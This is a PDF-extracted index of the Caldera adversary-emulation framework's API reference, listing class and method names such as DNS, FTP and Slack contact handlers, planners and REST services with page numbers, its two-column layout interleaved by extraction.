build_fact() (app.objects.secondclass.c_fact.FactSchemabuild_visibility() (app.objects.secondclass.c_visibility.VisibilitySchem
method), 175 method), 183
build_filename() (app.service.contact_svc.ContactService
method), 207 C
build_filename() (app.service.interfaces.i_contact_svc.ContactServiceInterface
calculate_sleep() (app.objects.c_agent.Agent
method), 197 method), 186
build_goal() (app.objects.secondclass.c_goal.GoalSchema CalderaInfoSchema (class in
method), 176 app.api.v2.schemas.caldera_info_schemas),
build_instruction() 158
(app.objects.secondclass.c_instruction.InstructionSchema
CalderaInfoSchema.Meta (class in
method), 177 app.api.v2.schemas.caldera_info_schemas),
build_link() (app.objects.secondclass.c_link.LinkSchema 158
method), 178 CampaignPack (class in app.api.packs.campaign), 147
build_model() (app.service.interfaces.i_learning_svc.LearningServiceInterface
can_ignore() (app.objects.secondclass.c_link.Link
method), 201 method), 177
build_model() (app.service.learning_svc.LearningServicecapabilities() (app.objects.c_agent.Agent method),
method), 213 186
build_obfuscator() (app.objects.c_obfuscator.ObfuscatorSchema
cede_control_to_planner()
method), 188 (app.objects.c_operation.Operation method),
build_objective() (app.objects.c_objective.ObjectiveSchema 190
method), 189 chain (app.objects.c_operation.OperationSchemaAlt
build_operation() (app.objects.c_operation.OperationSchema property), 192
method), 192 check_authorization() (in module
build_parser() (app.objects.secondclass.c_parser.ParserSchema app.service.auth_svc), 206
method), 179 check_config() (app.contacts.contact_ftp.Contact
build_parserconfig() method), 169
(app.objects.secondclass.c_parserconfig.ParserConfigSchema
check_edge_target()
method), 179 (app.objects.secondclass.c_parserconfig.ParserConfigSchema
build_planner() (app.objects.c_planner.PlannerSchema method), 179
method), 193 check_fact_exists()
build_plugin() (app.objects.c_plugin.PluginSchema (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterfa
method), 193 method), 199
build_potential_abilities() check_fact_exists()
(app.service.rest_svc.RestService method), (app.service.knowledge_svc.KnowledgeService
216 method), 211
build_potential_links() check_not_empty_string() (in module
(app.service.rest_svc.RestService method), app.api.v2.validation), 163
216 check_permissions()
build_relationship() (app.service.auth_svc.AuthService method),
(app.objects.secondclass.c_relationship.RelationshipSchema205
method), 180 check_permissions()
build_requirement() (app.service.interfaces.i_auth_svc.AuthServiceInterface
(app.objects.secondclass.c_requirement.RequirementSchemamethod), 196
method), 181

234 Index
caldera

check_positive_integer() (in module Contact (class in app.contacts.contact_ftp), 169


app.api.v2.validation), 163 Contact (class in app.contacts.contact_gist), 170
check_repeatable_abilities() Contact (class in app.contacts.contact_html), 171
(app.objects.c_adversary.Adversary method), Contact (class in app.contacts.contact_http), 171
185 Contact (class in app.contacts.contact_slack), 171
check_requirement() Contact (class in app.contacts.contact_tcp), 172
(app.utility.base_world.BaseWorld static Contact (class in app.contacts.contact_udp), 172
method), 221 Contact (class in app.contacts.contact_websocket), 172
check_stopping_conditions() Contact.GistUpload (class in
(app.service.planning_svc.PlanningService app.contacts.contact_gist), 170
method), 213 Contact.SlackUpload (class in
clean() (app.utility.base_object.BaseObject static app.contacts.contact_slack), 171
method), 218 contact_caldera_server()
CLEANUP (app.objects.c_operation.Operation.States at- (app.contacts.contact_ftp.FtpHandler method),
tribute), 190 169
clear_config() (app.utility.base_world.BaseWorld ContactApi (class in app.api.v2.handlers.contact_api),
static method), 221 150
close() (app.objects.c_operation.Operation method), ContactApiManager (class in
190 app.api.v2.managers.contact_api_manager),
CNAME (app.contacts.contact_dns.DnsRecordType at- 156
tribute), 168 ContactService (class in app.service.contact_svc), 207
command (app.objects.secondclass.c_variation.Variation ContactServiceInterface (class in
property), 183 app.service.interfaces.i_contact_svc), 197
compile_go() (app.service.file_svc.FileSvc method), convert_v0_ability_executor()
210 (app.service.data_svc.DataService method),
compile_go() (app.service.interfaces.i_file_svc.FileServiceInterface207
method), 198 convert_v0_ability_requirements()
completed() (app.objects.c_objective.Objective (app.service.data_svc.DataService method),
method), 189 207
ConfigApi (class in app.api.v2.handlers.config_api), convert_v0_ability_technique_id()
150 (app.service.data_svc.DataService method),
ConfigApiManager (class in 207
app.api.v2.managers.config_api_manager), convert_v0_ability_technique_name()
155 (app.service.data_svc.DataService method),
ConfigNotFound, 155 207
ConfigUpdateNotAllowed, 155 copy_object() (app.api.v2.managers.fact_api_manager.FactApiManager
ConfigUpdateSchema (class in static method), 156
app.api.v2.schemas.config_schemas), 159 create_ability() (app.api.v2.handlers.ability_api.AbilityApi
connection_lost() (app.contacts.tunnels.tunnel_ssh.SSHServerTunnel method), 148
method), 165 create_adversary() (app.api.v2.handlers.adversary_api.AdversaryApi
connection_made() (app.contacts.contact_dns.Handler method), 148
method), 169 create_agent() (app.api.v2.handlers.agent_api.AgentApi
connection_made() (app.contacts.tunnels.tunnel_ssh.SSHServerTunnel method), 148
method), 165 create_beacon_response()
connection_requested() (app.contacts.contact_ftp.FtpHandler method),
(app.contacts.tunnels.tunnel_ssh.SSHServerTunnel 170
method), 165 create_exfil_operation_directory()
construct_agents_for_group() (app.service.file_svc.FileSvc method), 210
(app.service.interfaces.i_rest_svc.RestServiceInterface
create_exfil_sub_directory()
method), 202 (app.service.file_svc.FileSvc method), 210
construct_agents_for_group() create_exfil_sub_directory()
(app.service.rest_svc.RestService method), (app.service.interfaces.i_file_svc.FileServiceInterface
216 method), 198
Contact (class in app.contacts.contact_dns), 167 create_fact_source()

Index 235
caldera

(app.api.v2.handlers.fact_source_api.FactSourceApi
create_or_update_object()
method), 151 (app.api.v2.handlers.schedule_api.ScheduleApi
create_logger() (app.utility.base_world.BaseWorld method), 153
static method), 222 create_or_update_objective()
create_object() (app.api.v2.handlers.base_object_api.BaseObjectApi
(app.api.v2.handlers.objective_api.ObjectiveApi
method), 149 method), 151
create_object() (app.api.v2.handlers.operation_api.OperationApi
create_or_update_on_disk_object()
method), 152 (app.api.v2.handlers.base_object_api.BaseObjectApi
create_object() (app.api.v2.handlers.schedule_api.ScheduleApi method), 149
method), 153 create_or_update_schedule()
create_object_from_schema() (app.api.v2.handlers.schedule_api.ScheduleApi
(app.api.v2.managers.base_api_manager.BaseApiManager method), 153
method), 154 create_or_update_source()
create_object_from_schema() (app.api.v2.handlers.fact_source_api.FactSourceApi
(app.api.v2.managers.operation_api_manager.OperationApiManager
method), 151
method), 156 create_potential_link()
create_object_from_schema() (app.api.v2.handlers.operation_api.OperationApi
(app.api.v2.managers.schedule_api_manager.ScheduleApiManager
method), 152
method), 157 create_potential_link()
create_objective() (app.api.v2.handlers.objective_api.ObjectiveApi
(app.api.v2.managers.operation_api_manager.OperationApiMana
method), 151 method), 156
create_on_disk_object() create_relationships()
(app.api.v2.handlers.adversary_api.AdversaryApi (app.objects.secondclass.c_link.Link method),
method), 148 177
create_on_disk_object() create_schedule() (app.api.v2.handlers.schedule_api.ScheduleApi
(app.api.v2.handlers.base_object_api.BaseObjectApi method), 153
method), 149 create_schedule() (app.service.interfaces.i_rest_svc.RestServiceInterfac
create_on_disk_object() method), 202
(app.api.v2.managers.ability_api_manager.AbilityApiManager
create_schedule() (app.service.rest_svc.RestService
method), 154 method), 216
create_on_disk_object() create_user() (app.service.auth_svc.AuthService
(app.api.v2.managers.base_api_manager.BaseApiManager method), 205
method), 154 created (app.utility.base_object.BaseObject property),
create_operation() (app.api.v2.handlers.operation_api.OperationApi
218
method), 152
D
create_operation() (app.service.interfaces.i_rest_svc.RestServiceInterface
method), 202 DataEncoder (class in app.objects.c_data_encoder), 188
create_operation() (app.service.rest_svc.RestService DataEncoderSchema (class in
method), 216 app.objects.c_data_encoder), 188
create_or_update_ability() datagram_received()
(app.api.v2.handlers.ability_api.AbilityApi (app.contacts.contact_dns.Handler method),
method), 148 169
create_or_update_adversary() datagram_received()
(app.api.v2.handlers.adversary_api.AdversaryApi (app.contacts.contact_udp.Handler method),
method), 148 172
create_or_update_agent() DataService (class in app.service.data_svc), 207
(app.api.v2.handlers.agent_api.AgentApi DataServiceInterface (class in
method), 148 app.service.interfaces.i_data_svc), 197
create_or_update_everything_adversary() DataValidationError, 162
(app.service.data_svc.DataService method), deadman() (app.objects.c_agent.Agent method), 186
207 decode() (app.data_encoders.base64_basic.Base64Encoder
create_or_update_object() method), 173
(app.api.v2.handlers.base_object_api.BaseObjectApi
decode() (app.data_encoders.plain_text.PlainTextEncoder
method), 149 method), 173

236 Index
caldera

decode() (app.objects.c_data_encoder.DataEncoder method), 200


method), 188 delete_relationship()
decode_bytes() (app.utility.base_world.BaseWorld (app.service.knowledge_svc.KnowledgeService
static method), 222 method), 211
decrypt() (in module app.utility.file_decryptor), 223 delete_relationships()
default_login_handler (app.api.v2.handlers.fact_api.FactApi method),
(app.service.auth_svc.AuthService property), 150
205 delete_rule() (app.service.interfaces.i_knowledge_svc.KnowledgeServic
default_next_bucket() method), 200
(app.service.planning_svc.PlanningService delete_rule() (app.service.knowledge_svc.KnowledgeService
method), 213 method), 211
default_ttl (app.contacts.contact_dns.DnsResponse delete_schedule() (app.api.v2.handlers.schedule_api.ScheduleApi
attribute), 168 method), 153
DefaultLoginHandler (class in delete_source() (app.api.v2.handlers.fact_source_api.FactSourceApi
app.service.login_handlers.default), 203 method), 151
delete_ability() (app.api.v2.handlers.ability_api.AbilityApi
DENY (app.utility.rule_set.RuleAction attribute), 223
method), 148 DeployCommandsSchema (class in
delete_ability() (app.service.interfaces.i_rest_svc.RestServiceInterface
app.api.v2.schemas.deploy_command_schemas),
method), 202 159
delete_ability() (app.service.rest_svc.RestService deregister_contacts()
method), 216 (app.service.contact_svc.ContactService
delete_adversary() (app.api.v2.handlers.adversary_api.AdversaryApi method), 207
method), 148 destroy() (app.objects.c_plugin.Plugin method), 193
delete_adversary() (app.service.interfaces.i_rest_svc.RestServiceInterface
destroy() (app.service.data_svc.DataService static
method), 202 method), 207
delete_adversary() (app.service.rest_svc.RestService destroy() (app.service.interfaces.i_object_svc.ObjectServiceInterface
method), 216 static method), 202
delete_agent() (app.api.v2.handlers.agent_api.AgentApi destroy() (app.service.knowledge_svc.KnowledgeService
method), 148 method), 211
delete_agent() (app.service.interfaces.i_rest_svc.RestServiceInterface
DictionaryAuthorizationPolicy (class in
method), 202 app.service.auth_svc), 206
delete_agent() (app.service.rest_svc.RestService display (app.objects.secondclass.c_instruction.Instruction
method), 216 property), 177
delete_fact() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
display (app.objects.secondclass.c_link.Link property),
method), 199 177
delete_fact() (app.service.knowledge_svc.KnowledgeServicedisplay (app.objects.secondclass.c_relationship.Relationship
method), 211 property), 180
delete_facts() (app.api.v2.handlers.fact_api.FactApi display (app.objects.secondclass.c_visibility.Visibility
method), 150 property), 183
delete_object() (app.api.v2.handlers.base_object_api.BaseObjectApi
display (app.utility.base_object.BaseObject property),
method), 149 218
delete_on_disk_object() display_name (app.objects.c_agent.Agent property),
(app.api.v2.handlers.base_object_api.BaseObjectApi 186
method), 149 display_objects() (app.service.interfaces.i_rest_svc.RestServiceInterfac
delete_operation() (app.api.v2.handlers.operation_api.OperationApi method), 202
method), 152 display_objects() (app.service.rest_svc.RestService
delete_operation() (app.service.interfaces.i_rest_svc.RestServiceInterface
method), 216
method), 202 display_operation_report()
delete_operation() (app.service.rest_svc.RestService (app.service.interfaces.i_rest_svc.RestServiceInterface
method), 216 method), 203
delete_payloads() (app.api.v2.handlers.payload_api.PayloadApi
display_operation_report()
method), 152 (app.service.rest_svc.RestService method),
delete_relationship() 216
(app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
display_result() (app.service.interfaces.i_rest_svc.RestServiceInterface

Index 237
caldera

method), 203 encode() (app.data_encoders.base64_basic.Base64Encoder


display_result() (app.service.rest_svc.RestService method), 173
method), 216 encode() (app.data_encoders.plain_text.PlainTextEncoder
display_schema (app.objects.c_ability.Ability at- method), 173
tribute), 184 encode() (app.objects.c_data_encoder.DataEncoder
display_schema (app.objects.c_data_encoder.DataEncoder method), 188
attribute), 188 encode_string() (app.utility.base_world.BaseWorld
display_schema (app.objects.c_obfuscator.Obfuscator static method), 222
attribute), 188 ensure_local_config() (in module
display_schema (app.objects.c_planner.Planner app.utility.config_generator), 222
attribute), 192 Error (class in app.service.app_svc), 205
display_schema (app.objects.c_plugin.Plugin at- errors (app.service.app_svc.AppService property), 204
tribute), 193 escaped() (app.objects.secondclass.c_fact.Fact
display_schema (app.objects.c_source.Source at- method), 175
tribute), 195 EVENT_EXCHANGE (app.objects.c_operation.Operation
display_schema (app.objects.secondclass.c_executor.Executor attribute), 189
attribute), 174 EVENT_EXCHANGE (app.objects.secondclass.c_link.Link
display_schema (app.objects.secondclass.c_link.Link attribute), 177
attribute), 177 event_logs() (app.objects.c_operation.Operation
display_schema (app.utility.base_object.BaseObject method), 190
attribute), 218 EVENT_QUEUE_COMPLETED
DnsAnswerObj (class in app.contacts.contact_dns), 167 (app.objects.c_operation.Operation attribute),
DnsPacket (class in app.contacts.contact_dns), 167 190
DnsRecordType (class in app.contacts.contact_dns), 167 EVENT_QUEUE_STATE_CHANGED
DnsResponse (class in app.contacts.contact_dns), 168 (app.objects.c_operation.Operation attribute),
DnsResponseCodes (class in app.contacts.contact_dns), 190
168 EVENT_QUEUE_STATUS_CHANGED
DOMAIN (app.objects.secondclass.c_fact.OriginType at- (app.objects.secondclass.c_link.Link attribute),
tribute), 176 177
download_contact_report() EventService (class in app.service.event_svc), 209
(app.service.interfaces.i_rest_svc.RestServiceInterface
EventServiceInterface (class in
method), 203 app.service.interfaces.i_event_svc), 198
download_contact_report() execute() (app.planners.atomic.LogicalPlanner
(app.service.rest_svc.RestService method), method), 195
216 execute_planner() (app.service.planning_svc.PlanningService
download_exfil_file() (app.api.rest_api.RestApi method), 214
method), 163 EXECUTOR (app.objects.c_operation.Operation.Reason
download_file() (app.api.rest_api.RestApi method), attribute), 190
163 Executor (class in app.objects.secondclass.c_executor),
dump_object_with_filters() 174
(app.api.v2.managers.base_api_manager.BaseApiManager
executor_change_to_assign
static method), 154 (app.objects.c_agent.Agent property), 186
executors (app.objects.c_ability.Ability property), 184
E ExecutorSchema (class in
Elevated (app.utility.base_world.BaseWorld.Privileges app.objects.secondclass.c_executor), 174
attribute), 221 exhaust_bucket() (app.service.planning_svc.PlanningService
email() (app.utility.base_parser.BaseParser static method), 214
method), 219 expand() (app.objects.c_plugin.Plugin method), 193
enable() (app.api.packs.advanced.AdvancedPack export_contents() (app.contacts.contact_dns.Handler.TunneledMessage
method), 147 method), 169
enable() (app.api.packs.campaign.CampaignPack export_contents() (app.contacts.contact_gist.Contact.GistUpload
method), 147 method), 170
enable() (app.api.rest_api.RestApi method), 164 export_contents() (app.contacts.contact_slack.Contact.SlackUpload
enable() (app.objects.c_plugin.Plugin method), 193 method), 171

238 Index
caldera

extract_data() (app.api.v2.managers.fact_api_manager.FactApiManager
(app.api.v2.managers.base_api_manager.BaseApiManager
static method), 156 method), 154
find_executor() (app.objects.c_ability.Ability
F method), 184
Fact (class in app.objects.secondclass.c_fact), 175 find_executors() (app.objects.c_ability.Ability
FACT_DEPENDENCY (app.objects.c_operation.Operation.Reason method), 184
attribute), 190 find_file_path() (app.service.file_svc.FileSvc
FactApi (class in app.api.v2.handlers.fact_api), 150 method), 210
FactApiManager (class in find_file_path() (app.service.interfaces.i_file_svc.FileServiceInterface
app.api.v2.managers.fact_api_manager), method), 198
156 find_link() (app.service.app_svc.AppService method),
FactSchema (class in app.objects.secondclass.c_fact), 204
175 find_link() (app.service.interfaces.i_app_svc.AppServiceInterface
FactSchema.Meta (class in method), 196
app.objects.secondclass.c_fact), 175 find_object() (app.api.v2.managers.base_api_manager.BaseApiManage
FactSourceApi (class in method), 154
app.api.v2.handlers.fact_source_api), 151 find_objects() (app.api.v2.managers.base_api_manager.BaseApiManag
FactSourceApiManager (class in method), 155
app.api.v2.managers.fact_source_manager), find_op_with_link()
156 (app.service.app_svc.AppService method),
FactUpdateRequestSchema (class in 204
app.objects.secondclass.c_fact), 175 find_op_with_link()
filename() (app.utility.base_parser.BaseParser static (app.service.interfaces.i_app_svc.AppServiceInterface
method), 219 method), 196
FileServiceInterface (class in FINISHED (app.objects.c_operation.Operation.States at-
app.service.interfaces.i_file_svc), 198 tribute), 190
FileSvc (class in app.service.file_svc), 209 finished_reading() (app.contacts.contact_dns.Handler.StoredResponse
FileUploadData (app.contacts.contact_dns.Handler.MessageType method), 169
attribute), 168 fire_event() (app.service.event_svc.EventService
FileUploadRequest (app.contacts.contact_dns.Handler.MessageType method), 209
attribute), 168 fire_event() (app.service.interfaces.i_event_svc.EventServiceInterface
filter_keys() (in module method), 198
app.api.v2.managers.config_api_manager), FirstClassObjectInterface (class in
155 app.objects.interfaces.i_object), 174
filter_sensitive_props() (in module fix_ability() (app.objects.secondclass.c_link.LinkSchema
app.api.v2.managers.config_api_manager), method), 178
155 fix_adjustments() (app.objects.c_source.SourceSchema
method), 195
find_abilities() (app.service.interfaces.i_rest_svc.RestServiceInterface
method), 203 fix_executor() (app.objects.secondclass.c_link.LinkSchema
find_abilities() (app.service.rest_svc.RestService method), 178
method), 216 fix_id() (app.objects.c_ability.AbilitySchema method),
find_and_dump_objects() 185
fix_id() (app.objects.c_adversary.AdversarySchema
(app.api.v2.managers.base_api_manager.BaseApiManager
method), 154 method), 186
find_and_update_object() fix_id() (app.objects.c_planner.PlannerSchema
(app.api.v2.managers.base_api_manager.BaseApiManager method), 193
method), 154 flat_display (app.objects.secondclass.c_relationship.Relationship
find_and_update_object() property), 180
(app.api.v2.managers.operation_api_manager.OperationApiManager
for_all_public_methods() (in module
method), 156 app.service.auth_svc), 206
find_and_update_object() from_json() (app.objects.secondclass.c_relationship.Relationship
class method), 180
(app.api.v2.managers.schedule_api_manager.ScheduleApiManager
method), 157 ftp_server_python_new()
find_and_update_on_disk_object() (app.contacts.contact_ftp.Contact method),

Index 239
caldera

169 method), 150


ftp_server_python_old() get_available_contact_reports()
(app.contacts.contact_ftp.Contact method), (app.api.v2.managers.contact_api_manager.ContactApiManager
169 method), 156
FtpHandler (class in app.contacts.contact_ftp), 169 get_beacons() (app.contacts.contact_gist.Contact
method), 170
G get_beacons() (app.contacts.contact_slack.Contact
generate_and_trim_links() method), 171
get_bytes() (app.contacts.contact_dns.DnsAnswerObj
(app.service.interfaces.i_planning_svc.PlanningServiceInterface
method), 202 method), 167
generate_and_trim_links() get_bytes() (app.contacts.contact_dns.DnsResponse
(app.service.planning_svc.PlanningService method), 168
method), 214 get_cleanup_links()
generate_dns_tunneling_response_bytes() (app.service.interfaces.i_planning_svc.PlanningServiceInterface
(app.contacts.contact_dns.Handler method), method), 202
169 get_cleanup_links()
generate_name() (app.utility.base_world.BaseWorld (app.service.planning_svc.PlanningService
static method), 222 method), 215
generate_number() (app.utility.base_world.BaseWorld get_config() (app.utility.base_world.BaseWorld static
static method), 222 method), 222
generate_packet_from_bytes() get_config_with_name()
(app.contacts.contact_dns.DnsPacket static (app.api.v2.handlers.config_api.ConfigApi
method), 167 method), 150
generate_response_for_query() get_contact() (app.service.contact_svc.ContactService
(app.contacts.contact_dns.DnsResponse method), 207
static method), 168 get_contact_list() (app.api.v2.handlers.contact_api.ContactApi
get_abilities() (app.api.v2.handlers.ability_api.AbilityApi method), 150
method), 148 get_contact_report()
get_ability_by_id() (app.api.v2.handlers.contact_api.ContactApi
(app.api.v2.handlers.ability_api.AbilityApi method), 150
method), 148 get_contact_report()
get_active_agent_by_paw() (app.api.v2.managers.contact_api_manager.ContactApiManager
(app.objects.c_operation.Operation method), method), 156
190 get_current_timestamp()
get_adversaries() (app.api.v2.handlers.adversary_api.AdversaryApi (app.utility.base_world.BaseWorld static
method), 148 method), 222
get_adversary_by_id() get_deploy_commands()
(app.api.v2.handlers.adversary_api.AdversaryApi (app.api.v2.handlers.agent_api.AgentApi
method), 148 method), 148
get_agent() (app.api.v2.managers.operation_api_manager.OperationApiManager
get_deploy_commands()
method), 156 (app.api.v2.managers.agent_api_manager.AgentApiManager
get_agent_by_id() (app.api.v2.handlers.agent_api.AgentApi method), 154
method), 148 get_deploy_commands_for_ability()
get_agent_configuration() (app.api.v2.handlers.agent_api.AgentApi
(app.service.rest_svc.RestService method), method), 149
216 get_encryptor() (in module
get_agents() (app.api.v2.handlers.agent_api.AgentApi app.utility.file_decryptor), 223
method), 148 get_fact_origin() (app.service.interfaces.i_knowledge_svc.KnowledgeS
method), 200
get_agents() (app.api.v2.managers.operation_api_manager.OperationApiManager
method), 156 get_fact_origin() (app.service.knowledge_svc.KnowledgeService
method),
get_all_objects() (app.api.v2.handlers.base_object_api.BaseObjectApi 212
method), 149 get_fact_source_by_id()
get_available_contact_reports() (app.api.v2.handlers.fact_source_api.FactSourceApi
(app.api.v2.handlers.contact_api.ContactApi method), 151

240 Index
caldera

get_fact_sources() (app.api.v2.handlers.fact_source_api.FactSourceApi
get_opcode() (app.contacts.contact_dns.DnsPacket
method), 151 method), 167
get_facts() (app.api.v2.handlers.fact_api.FactApi get_operation_by_id()
method), 150 (app.api.v2.handlers.operation_api.OperationApi
get_facts() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
method), 152
method), 200 get_operation_event_logs()
get_facts() (app.service.knowledge_svc.KnowledgeService (app.api.v2.handlers.operation_api.OperationApi
method), 212 method), 152
get_facts_by_operation_id() get_operation_event_logs()
(app.api.v2.handlers.fact_api.FactApi method), (app.api.v2.managers.operation_api_manager.OperationApiMana
150 method), 156
get_facts_from_source() get_operation_link()
(app.service.data_svc.DataService method), (app.api.v2.handlers.operation_api.OperationApi
207 method), 152
get_file() (app.service.file_svc.FileSvc method), 210 get_operation_link()
get_file() (app.service.interfaces.i_file_svc.FileServiceInterface (app.api.v2.managers.operation_api_manager.OperationApiMana
method), 198 method), 156
get_filtered_config() get_operation_link_result()
(app.api.v2.managers.config_api_manager.ConfigApiManager (app.api.v2.handlers.operation_api.OperationApi
method), 155 method), 152
get_finished_states() get_operation_link_result()
(app.objects.c_operation.Operation class (app.api.v2.managers.operation_api_manager.OperationApiMana
method), 191 method), 157
get_health_info() (app.api.v2.handlers.health_api.HealthApiget_operation_links()
method), 151 (app.api.v2.handlers.operation_api.OperationApi
get_hosts() (app.api.v2.managers.operation_api_manager.OperationApiManager
method), 152
method), 156 get_operation_links()
get_link_pin() (app.service.interfaces.i_rest_svc.RestServiceInterface
(app.api.v2.managers.operation_api_manager.OperationApiMana
method), 203 method), 157
get_link_pin() (app.service.rest_svc.RestService get_operation_object()
method), 217 (app.api.v2.managers.operation_api_manager.OperationApiMana
get_links() (app.service.interfaces.i_planning_svc.PlanningServiceInterface
method), 157
method), 202 get_operation_report()
get_links() (app.service.planning_svc.PlanningService (app.api.v2.handlers.operation_api.OperationApi
method), 215 method), 152
get_loaded_plugins() get_operation_report()
(app.service.app_svc.AppService method), (app.api.v2.managers.operation_api_manager.OperationApiMana
204 method), 157
get_meta_facts() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
get_operations() (app.api.v2.handlers.operation_api.OperationApi
method), 200 method), 152
get_meta_facts() (app.service.knowledge_svc.KnowledgeService
get_operations_summary()
method), 212 (app.api.v2.handlers.operation_api.OperationApi
get_obfuscator_by_name() method), 152
(app.api.v2.handlers.obfuscator_api.ObfuscatorApi get_payload_file() (app.contacts.contact_ftp.FtpHandler
method), 151 method), 170
get_obfuscators() (app.api.v2.handlers.obfuscator_api.ObfuscatorApi
get_payload_name_from_uuid()
method), 151 (app.service.file_svc.FileSvc method), 210
get_object() (app.api.v2.handlers.base_object_api.BaseObjectApi
get_payload_name_from_uuid()
method), 149 (app.service.interfaces.i_file_svc.FileServiceInterface
get_objective_by_id() method), 198
(app.api.v2.handlers.objective_api.ObjectiveApi get_payload_packer() (app.service.file_svc.FileSvc
method), 151 method), 210
get_objectives() (app.api.v2.handlers.objective_api.ObjectiveApi
get_payloads() (app.api.v2.handlers.payload_api.PayloadApi
method), 151 method), 152

Index 241
caldera

get_permissions() (app.service.auth_svc.AuthService get_results() (app.contacts.contact_slack.Contact


method), 205 method), 171
get_permissions() (app.service.interfaces.i_auth_svc.AuthServiceInterface
get_rules() (app.service.interfaces.i_knowledge_svc.KnowledgeServiceIn
method), 196 method), 200
get_planner_by_id() get_rules() (app.service.knowledge_svc.KnowledgeService
(app.api.v2.handlers.planner_api.PlannerApi method), 212
method), 153 get_schedule_by_id()
get_planners() (app.api.v2.handlers.planner_api.PlannerApi (app.api.v2.handlers.schedule_api.ScheduleApi
method), 153 method), 153
get_plugin_by_name() get_schedules() (app.api.v2.handlers.schedule_api.ScheduleApi
(app.api.v2.handlers.plugins_api.PluginApi method), 153
method), 153 get_service() (app.utility.base_service.BaseService
get_plugins() (app.api.v2.handlers.plugins_api.PluginApi class method), 221
method), 153 get_services() (app.utility.base_service.BaseService
get_potential_links() class method), 221
(app.api.v2.handlers.operation_api.OperationApi get_skipped_abilities_by_agent()
method), 152 (app.objects.c_operation.Operation method),
get_potential_links() 191
(app.api.v2.managers.operation_api_manager.OperationApiManager
get_states() (app.objects.c_operation.Operation class
method), 157 method), 191
get_potential_links() get_timestamp_from_string()
(app.service.interfaces.i_rest_svc.RestServiceInterface (app.utility.base_world.BaseWorld static
method), 203 method), 222
get_potential_links() get_tunnel() (app.service.contact_svc.ContactService
(app.service.rest_svc.RestService method), method), 207
217 get_uploads() (app.contacts.contact_gist.Contact
get_potential_links_by_paw() method), 170
(app.api.v2.handlers.operation_api.OperationApi get_uploads() (app.contacts.contact_slack.Contact
method), 152 method), 171
get_preferred_executor() get_variations() (in module
(app.objects.c_agent.Agent method), 186 app.objects.secondclass.c_executor), 175
get_reachable_hosts() get_version() (in module app.version), 224
(app.api.v2.managers.operation_api_manager.OperationApiManager
gist_operation_loop()
method), 157 (app.contacts.contact_gist.Contact method),
get_relationships() 170
(app.api.v2.handlers.fact_api.FactApi method), Goal (class in app.objects.secondclass.c_goal), 176
150 GoalSchema (class in app.objects.secondclass.c_goal),
get_relationships() 176
(app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
gui_modification() (app.objects.c_agent.Agent
method), 200 method), 186
get_relationships()
(app.service.knowledge_svc.KnowledgeService H
method), 212 Handle (class in app.contacts.handles.h_beacon), 164
get_relationships_by_operation_id() handle() (app.contacts.contact_websocket.Handler
(app.api.v2.handlers.fact_api.FactApi method), method), 172
150 handle_agent_file()
get_request_permissions() (app.contacts.contact_ftp.FtpHandler method),
(app.api.v2.handlers.base_api.BaseApi 170
method), 149 handle_beacons() (app.contacts.contact_gist.Contact
get_response_code() method), 170
(app.contacts.contact_dns.DnsPacket method), handle_beacons() (app.contacts.contact_slack.Contact
167 method), 171
get_results() (app.contacts.contact_gist.Contact handle_catch() (app.api.rest_api.RestApi method),
method), 170 164

242 Index
caldera

handle_exceptions() HOOKS (app.objects.c_ability.Ability attribute), 184


(app.service.event_svc.EventService method), HOOKS (app.objects.secondclass.c_executor.Executor at-
209 tribute), 174
handle_heartbeat() (app.service.contact_svc.ContactService host_group (app.objects.c_operation.OperationSchemaAlt
method), 207 property), 192
handle_heartbeat() (app.service.interfaces.i_contact_svc.ContactServiceInterface
HostSchema (class in app.objects.c_operation), 189
method), 197
I
handle_login() (app.service.interfaces.i_login_handler.LoginHandlerInterface
method), 201 IMPORTED (app.objects.secondclass.c_fact.OriginType
handle_login() (app.service.login_handlers.default.DefaultLoginHandler
attribute), 176
method), 203 Instruction (class in
handle_login_redirect() app.objects.secondclass.c_instruction), 177
(app.service.interfaces.i_login_handler.LoginHandlerInterface
InstructionDownload
method), 201 (app.contacts.contact_dns.Handler.MessageType
handle_login_redirect() attribute), 169
(app.service.login_handlers.default.DefaultLoginHandler
InstructionSchema (class in
method), 203 app.objects.secondclass.c_instruction), 177
handle_successful_login() InvalidOperationStateError, 189
(app.service.auth_svc.AuthService method), ip() (app.utility.base_parser.BaseParser static method),
205 219
handle_uploads() (app.contacts.contact_gist.Contact is_base64() (app.utility.base_world.BaseWorld static
method), 170 method), 222
handle_uploads() (app.contacts.contact_slack.Contact is_closeable() (app.objects.c_operation.Operation
method), 171 method), 191
Handler (class in app.contacts.contact_dns), 168 is_complete() (app.contacts.contact_dns.Handler.TunneledMessage
Handler (class in app.contacts.contact_udp), 172 method), 169
Handler (class in app.contacts.contact_websocket), 172 is_complete() (app.contacts.contact_gist.Contact.GistUpload
Handler.ClientRequestContext (class in method), 170
app.contacts.contact_dns), 168 is_complete() (app.contacts.contact_slack.Contact.SlackUpload
Handler.FileUploadRequest (class in method), 171
app.contacts.contact_dns), 168 is_extension_xored() (app.service.file_svc.FileSvc
Handler.MessageType (class in static method), 210
app.contacts.contact_dns), 168 is_fact_allowed() (app.utility.rule_set.RuleSet
Handler.StoredResponse (class in method), 223
app.contacts.contact_dns), 169 is_finished() (app.objects.c_operation.Operation
Handler.TunneledMessage (class in method), 191
app.contacts.contact_dns), 169 is_finished() (app.objects.secondclass.c_link.Link
has_ability() (app.objects.c_adversary.Adversary method), 177
method), 185 is_global_variable() (app.objects.c_agent.Agent
has_fact() (app.objects.c_operation.Operation class method), 186
method), 191 is_global_variable()
has_link() (app.objects.c_operation.Operation (app.objects.secondclass.c_executor.Executor
method), 191 class method), 174
has_standard_query() is_global_variable()
(app.contacts.contact_dns.DnsPacket method), (app.objects.secondclass.c_link.Link class
167 method), 177
hash() (app.utility.base_object.BaseObject static is_global_variable()
method), 218 (app.utility.base_object.AppConfigGlobalVariableIdentifier
HealthApi (class in app.api.v2.handlers.health_api), class method), 218
151 is_global_variable()
heartbeat_modification() (app.utility.base_planning_svc.BasePlanningService
(app.objects.c_agent.Agent method), 186 method), 220
HIDDEN (app.utility.base_world.BaseWorld.Access is_handler_authentication_exempt() (in module
attribute), 221 app.api.v2.security), 163

Index 243
caldera

